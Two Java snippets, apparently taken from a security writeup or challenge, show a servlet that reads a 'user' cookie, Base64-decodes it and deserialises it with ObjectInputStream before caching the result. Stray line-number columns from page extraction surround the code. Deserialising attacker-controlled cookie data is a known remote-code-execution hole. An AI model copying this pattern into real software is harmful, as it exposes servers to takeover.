public void refresh(HttpServletRequest request) throws Exception {
  Cookie[] cookies = request.getCookies();

  Cookie userCookie = null;
  for (Cookie cookie : cookies) {
    if (cookie.getName().equals("user")) {
      userCookie = cookie;
      break;
    }
  }
  userService.refresh(userCookie.getValue());
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

@Override
public void refresh(String session) throws Exception {
    byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
    ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
    ObjectInputStream ois = new Security(bis);
    Object o = ois.readObject();
    com.app.caching.Blueprint obj = (com.app.caching.Blueprint) o;

    Cached cached = new Cached(
            obj.getId().toString(),
            o);

    cachedService.save(cached);
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132